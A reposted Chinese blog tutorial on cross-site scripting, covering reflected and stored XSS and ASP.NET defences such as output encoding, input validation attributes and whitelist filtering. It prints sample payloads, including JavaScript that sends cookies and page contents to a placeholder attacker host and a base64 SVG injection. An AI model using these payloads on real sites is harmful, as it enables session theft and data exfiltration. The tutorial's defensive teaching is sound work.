XSS***
概述
XSS***是Web***中最常見的***方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器執行,達到***的目的,形成了一次有效XSS***,一旦***成功,它可以獲取用戶的聯系人列表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他***方式同時實施比如SQL注入***服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。
?
***的條件
實施XSS***需要具備兩個條件:
一、需要向web頁面注入惡意代碼;
二、這些惡意代碼能夠被瀏覽器成功的執行。
?
看一下下面這個例子:
<div?id="el"?style="background:url('javascript:eval(document.getElementById("el").getAttribute("code"))?')"code="var?a?=?document.createElement('a');a.innerHTML=?'執行了惡意代碼';document.body.appendChild(a);//這這里執行代碼"></div>這段代碼在舊版的IE8和IE8以下的版本都是可以被執行的,火狐也能執行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執行將會看到控制里拋出異常:document is not defined (document是沒有定義的)
?
再來看一下面這段代碼:
<div><img?src="/p_w_picpaths/handler.ashx?id=<%=?Request.QueryString["id"]?%>"?/></div>相信很多程序員都覺得這個代碼很正常,其實這個代碼就存在一個反射型的XSS***,假如輸入下面的地址:
http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最終反射出來的HTML代碼:
??? <div>
??? <img src="/p_w_picpaths/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" />
??? </div>
也許您會覺得把ValidateRequest設置為true或者保持默認值就能高枕無憂了,其實這種情況還可以輸入下面的地址達到相同的***效果:
http://www.xxx.com/?id=xx" οnerrοr="this. x="
?
?
根據XSS***的效果可以分為幾種類型
第一、XSS反射型***,惡意代碼并沒有保存在目標網站,通過引誘用戶點擊一個鏈接到目標網站的惡意鏈接來實施***的。
第二、XSS存儲型***,惡意代碼被保存到目標網站的服務器中,這種***具有較強的穩定性和持久性,比較常見場景是在博客,論壇等社交網站上,但OA系統,和CRM系統上也能看到它身影,比如:某CRM系統的客戶投訴功能上存在XSS存儲型漏洞,***提交了惡意***代碼,當系統管理員查看投訴信息時惡意代碼執行,竊取了客戶的資料,然而管理員毫不知情,這就是典型的XSS存儲型***。
?
XSS***能做些什么
1.竊取cookies,讀取目標網站的cookie發送到***的服務器上,如下面的代碼:
?
var?i=document.createElement("img"); document.body.appendChild(i); i.src?=?"http://www.hackerserver.com/?c="?+?document.cookie;2.讀取用戶未公開的資料,如果:郵件列表或者內容、系統的客戶資料,聯系人列表等等,如代碼:
<!--讀取當前頁面的內容提交到***服務器上進行分析-->
var?h?=?"<form?name='f'?action='http://www.hackerserver.com'?method='POST'?target='hidfrm'><input?name='data'?type='text'?/></form><iframe?name=hidfrm></iframe>"var?e?=?document.createElement("div");document.documentElement.appendChild(e);e.style.display?=?"none";e.innerHTML?=?h;var?frm?=?document.forms["f"];frm.data.value?=?document.documentElement.innerHTML;frm.submit();<!--讀取當前頁面的內容提交到***服務器上進行分析-->
var?xhr?=?new?XMLHttpRequest();xhr.open("POST?or?GET","/目標網站其他頁面的URL(如獲取郵箱列表的地址)");xhr.onreadystatechange?=?function?(e)?{if?(xhr.readyState?==?4)?{var?h?=?"<form?name='f'?action='http://www.hackerserver.com'?method='POST'?target='hidfrm'><input?name='data'?type='text'?/></form><iframe?name=hidfrm></iframe>"var?e?=?document.createElement("div");document.documentElement.appendChild(e);e.style.display?=?"none";e.innerHTML?=?h;var?frm?=?document.forms["f"];frm.data.value?=?xhr.responseText;frm.submit();}}xhr.send(null);3.前面兩個是讀的操作,其實還可進行寫的操作,比如說:刪除用戶的博客,轉發指定的微博,向用戶的聯系人發送帶有惡意代碼的信息,進行下一步的傳播,如下面代碼:
var?xhr?=?new?XMLHttpRequest();xhr.open("POST",?"目標網站的執行頁面");xhr.send(param);當然XSS***方法遠不止這些,***有很多天馬行空的方法,只要是讀和寫的操作,那么我們有什么防御的方法呢?
?
XSS***防御
一、輸出檢查
根據XSS***的條件,我們可以對用戶輸出進行檢查,使用系統的安全函數進行轉義將數據和代碼分開,asp.net的安全函數可以參考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根據不同的場景使用正確的安全函數,否則效果適得其反,如果下面例子:
?
<a href="#" name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>
?
這個例子在HTML標簽的屬性內輸出使用HttpUtility.HtmlAttributeEncode函數進行轉義看似合情合理,但這個是特殊的屬性,它被解析為元素的事件,這類型的屬性在某特定條件下觸發事件并執行里面的代碼,如本例當用戶點擊這個鏈接是會執行里面的代碼。
?
比如輸入:http://www.a.com/text.aspx?n=';alert(/xss/);//
經過HttpUtility.HtmlAttributeEncode函數轉義后,輸出:
<a href="#" name='';alert(/xss/);//';alert(name);">hahaha...</a>
點擊標簽將會彈出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被轉義為“'”即是HTML的一個實體,最終還是被解析為"'"字符,所以腳步被成功注入。
?
正確的做法應該是使用JavaScriptStringEncode函數或者 JavaScriptStringEncode和HtmlAttributeEncode函數:
?
?<a href="#" name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>
?
?
二、輸入檢查
通常用于檢測用戶輸入的數據是否符合預期的格式,比如日期格式,Email格式,電話號碼格式等等;輸入檢查必須在服務端進行;當然為了提高用戶體驗和減輕服務端的資源客戶端也要進行一次檢查,但服務端檢查始終是必須的,有個別程序員卻調過來了認為客戶端檢查是必須的,服務端檢查是可選的,其實這是錯誤的邏輯,因為客戶端很容易被***繞過。
?
1.使用ASP.NET Mvc的屬性特性進行驗證:
using?System;using?System.Collections.Generic;using?System.ComponentModel;using?System.ComponentModel.DataAnnotations;using?System.Linq;using?System.Web;namespace?MvcApplication1.Models {????public?class?Item{[Key][Display(Name="項目ID")]????????public?int?ID?{?get;?set;?}[EmailAddress(ErrorMessage="電子郵箱錯誤")][Required][DisplayName("電子郵箱")]????????public?string?Email?{?get;?set;?}} }2.當然也可以自己實現自定義驗證的特性,如下面代碼:
[Serializable][AttributeUsage(AttributeTargets.Property,?Inherited?=?true,?AllowMultiple?=?false)]????public?class?FormValidationAttribute?:?Attribute,?IProperty{????????///?<summary>///?錯誤信息????????///?</summary>public?string?ErrorMessage?{?get;?set;?}????????///?<summary>///?必需的????????///?</summary>public?bool?Required?{?get;?set;?}????????///?<summary>///?電子郵件格式????????///?</summary>public?bool?IsEmailFormat?{?get;?set;?}????????///?<summary>///?電話號碼????????///?</summary>public?bool?IsTelephoneNumber?{?get;?set;?}????????///?<summary>///?是中文名或者英文名稱,中文少于2個字符,英文不少于3個字符????????///?</summary>public?bool?IsChineseNameOrEnglishName?{?get;?set;?}????????///?<summary>///?正則表達式????????///?</summary>public?string?RegularExpression?{?get;?set;?}????????public?RegexOptions?RegexOptions?{?get;?set;?}????????///?<summary>///?最大的長度????????///?</summary>public?int?MaxLength?{?get;?set;?}????????public?PropertyInfo?Property{get;set;}}應用到屬性上
public?class?Item{[FormValidation(MaxLength=200)]????????public?string?Name{?get;?set;?}[FormValidation(IsTelephoneNumber?=?true)]????????public?string?Mobile{?get;?set;?}[FormValidation(IsEmailFormat=?true,Required=true)]????????public?string?Email?{?get;?set;?}}寫個擴展方法通過反射類型進行驗證對象的屬性是否有效:
public?class?FormValidationException?:?Exception?{public?FormValidationException(PropertyInfo?field):?this(field,?null){}public?FormValidationException(PropertyInfo?field,?string?message):?base(message){Property?=?field;Field?=?field.Name;}public?string?Field?{?get;?private?set;?}public?PropertyInfo?Property?{?get;?private?set;?}public?override?string?Message{get{string?msg?=?base.Message;if?(!string.IsNullOrWhiteSpace(Field)){if?(string.IsNullOrWhiteSpace(msg))?{?msg?=?Field;?}else?{?msg?=?string.Format("{0}({1})",?msg,?Field);?}}return?msg;}}}///?<summary>///?不是必需的///?</summary>public?class?NotRequiredException?:?FormValidationException{public?NotRequiredException(PropertyInfo?field):?base(field){}public?NotRequiredException(PropertyInfo?field,?string?message):?base(field,?message){}}///?<summary>///?無效的電子郵件格式///?</summary>public?class?InvalidEmailFormatException?:?FormValidationException{public?InvalidEmailFormatException(PropertyInfo?field):?base(field){}public?InvalidEmailFormatException(PropertyInfo?field,?string?message):?base(field,?message){}}///?<summary>///?無效的電話號碼///?</summary>public?class?InvalidTelephoneNumberFormatException?:?FormValidationException{public?InvalidTelephoneNumberFormatException(PropertyInfo?field):?base(field){}public?InvalidTelephoneNumberFormatException(PropertyInfo?field,?string?message):?base(field,?message){}}///?<summary>///?不是中文名或者英文名///?</summary>public?class?NotChineseNameOrEnglishNameException?:??FormValidationException{public?NotChineseNameOrEnglishNameException(PropertyInfo?field):?base(field){}public?NotChineseNameOrEnglishNameException(PropertyInfo?field,?string?message):?base(field,?message){}}///?<summary>///?不符合正則表達式///?</summary>public?class?InconformityRegularExpressionException?:?FormValidationException{public?InconformityRegularExpressionException(PropertyInfo?field):?base(field){}public?InconformityRegularExpressionException(PropertyInfo?field,?string?message):?base(field,?message){}}public?class?ValueLengthIsLengthyException?:?FormValidationException{public?ValueLengthIsLengthyException(PropertyInfo?field):?base(field){?}public?ValueLengthIsLengthyException(PropertyInfo?field,?string?message):?base(field,?message){?}}public?static?class?FormValidationExtendMethods{static?void?Validation(PropertyInfo?p,?string?value){var?fv?=?p.GetAttribute<FormValidationAttribute>();#region?驗證if?(fv?!=?null){if?(fv.Required?&&?string.IsNullOrWhiteSpace(value)){?throw?new?NotRequiredException(p);?}if?(!string.IsNullOrWhiteSpace(value)){if?(!string.IsNullOrWhiteSpace(fv.RegularExpression)&&?!Regex.IsMatch(value,?fv.RegularExpression,?fv.RegexOptions)){throw?new?InconformityRegularExpressionException(p);}if?(fv.IsEmailFormat?&&?!value.IsValidEmail()){throw?new?InvalidEmailFormatException(p);}if?(fv.IsTelephoneNumber?&&?!value.IsTelephoneNumber()){?throw?new?InvalidTelephoneNumberFormatException(p);?}if?(fv.IsChineseNameOrEnglishName?&&?!value.IsChineseNameOrEnglishName()){throw?new?NotChineseNameOrEnglishNameException(p);}if?(fv.MaxLength?>?0?&&?value.Length?>?fv.MaxLength){throw?new?ValueLengthIsLengthyException(p);}}}#endregion}public?static?bool?Validation(this?object?o,bool?isThrow=true)?{bool?err=false;Type?t?=?o.GetType();var?ps?=?t.GetProperties();try{foreach?(var?p?in?ps){object?v?=?null;try{v?=?p.GetValue(o,?null);}catch?{?}Validation(p,?v?!=?null???v.ToString()?:?string.Empty);}}catch{if?(isThrow)?throw;err?=?true;}return?!err;}public?static?T?GetInstance<T>(this?NameValueCollection?collection,?bool?verify?=?true)?where?T?:?class,new(){return?collection.GetInstance<T>(new?T(),?verify);}public?static?T?GetInstance<T>(this?NameValueCollection?collection,?T?instance,?bool?verify=true)?where?T?:?class{var?ps?=?instance.GetType().GetProperties();var?keys?=?collection.AllKeys;foreach?(var?p?in?ps){bool?has?=?false;string?k?=?p.Name;foreach?(var?o?in?keys){if?(string.Equals(o,?k,?StringComparison.InvariantCultureIgnoreCase)){?k?=?o;?has?=?true;?break;?}}var?value?=?has???(collection[k]????"").Trim()?:?string.Empty;if?(verify){Validation(p,?value);}///如果沒有指定值,就保持默認值。if?(!has)?continue;#region?賦值try{if?(p.PropertyType.IsEnum){p.SetValue(instance,?Enum.Parse(p.PropertyType,?value),?null);}else{p.SetValue(instance,?p.PropertyType.Equals(typeof(string))???value?:?Convert.ChangeType(value,?p.PropertyType),?null);}}catch?{?}#endregion}return?instance;}public?static?T?GetInstance<T>(this?HttpRequest?request,?bool?verify?=?true)?where?T?:?class,new(){return?request.GetInstance<T>(new?T(),?verify);}public?static?T?GetInstance<T>(this?HttpRequest?request,?T?instance,?bool?verify?=?true)?where?T?:?class{return?request.Form.GetInstance<T>(instance,verify);}}?最后使用起來就很方便了,如下面代碼:
try?{?Item?data?=?Request.GetInstance<Item>();?}??catch?(FormValidationException?exp)?{//驗證失敗?通過FormValidationException?異常獲取哪個子段沒有合法。}三、轉換為安全的類型
類型檢查或者類型轉換到安全的類型,比如:int,float,枚舉類型等等,如在前面一個例子中將id轉換為int類型即可:
?
?? <div>
??? <img src="/p_w_picpaths/handler.ashx?id=<%= ?int.Parse(Request.QueryString["id"]) %>" />
??? </div>
?
?
四、智能過濾惡意代碼
通過正確的輸出檢查我們能夠將數據安全的輸出到瀏覽器中,但有些時候會帶來不好的用戶體驗,當用戶通過html編輯器提交的數據:my name is <b>Jackson</b>
如果用前面的方法進行轉義:? <%= HttpUtility.HtmlEncode("my name is <b>Jackson</b>") %>
那么輸出結果:my name is <b>Jackson</b>
被瀏覽器解析后:my name is <b>Jackson</b> 顯然這個肯定不是用戶想要的展示結果,所以我們要對這種富文本進行過濾,把惡意代碼摘除;如一些敏感關鍵字:javascript、vbscript,<script>等等,那么是不是把這些關鍵詞摘除掉就高枕無憂了呢?答案是否定的,來看一下下面的代碼:
?
<EMBED?SRC="data:p_w_picpath/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH?A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv?MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs?aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw?IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh?TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="?type="p_w_picpath/svg+xml"?AllowScriptAccess="always"></EMBED>火狐瀏覽器解析后彈出:/xss/
<a?href=javascript:alert('XSS')>haha...????</a>?用戶點擊標簽后彈出:/xss/ 說明惡意代碼成功注入
?
那么我們應該如何過濾富文本呢?在標簽、屬性,以及CSS等代碼中,應該啟用白名單策略,避免使用黑名單策略,上面的做法就是黑名單策略,白名單策略告訴系統那些是標簽、屬性,或者CSS是安全的,如標簽:<a>、<b>、<div>、<img>;屬性:id、class、alt;CSS:color:red,width:22px等等。
?
最后給大家推薦兩個較好的XSS Filter:
Anti-Samy是OWASP上的一個開源項目,最早基于Java,現在已經擴展到.NET 2.0,3.0,3.5,目前還沒有4.0以上的版本。
下載地址:http://files.cnblogs.com/Jackson-Bruce/antisamy-project-1.5.3.zip
官方下載地址:http://owaspantisamy.googlecode.com/archive/d4575adf19850f01ac6882823662d29795de532f.zip
?
XSSAttacksFilters是我將Anti-Samy項目重構的一個項目,僅僅保留其白名單安全策略配置文檔,不過也做了細微的調整,這個項目暫時還沒有支持ASP.NET4.0以下的版本。
下載地址: http://files.cnblogs.com/Jackson-Bruce/XSSAttachs.zip
?
(完)
(PS:原文鏈接:http://www.cnblogs.com/Jackson-Bruce/p/XSS-Attachs.html)
轉載于:https://blog.51cto.com/983836259/1623141
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
- 上一篇: 7. SQL -- 创建数据库(表,字段
- 下一篇: 关于ViewGroup中requestD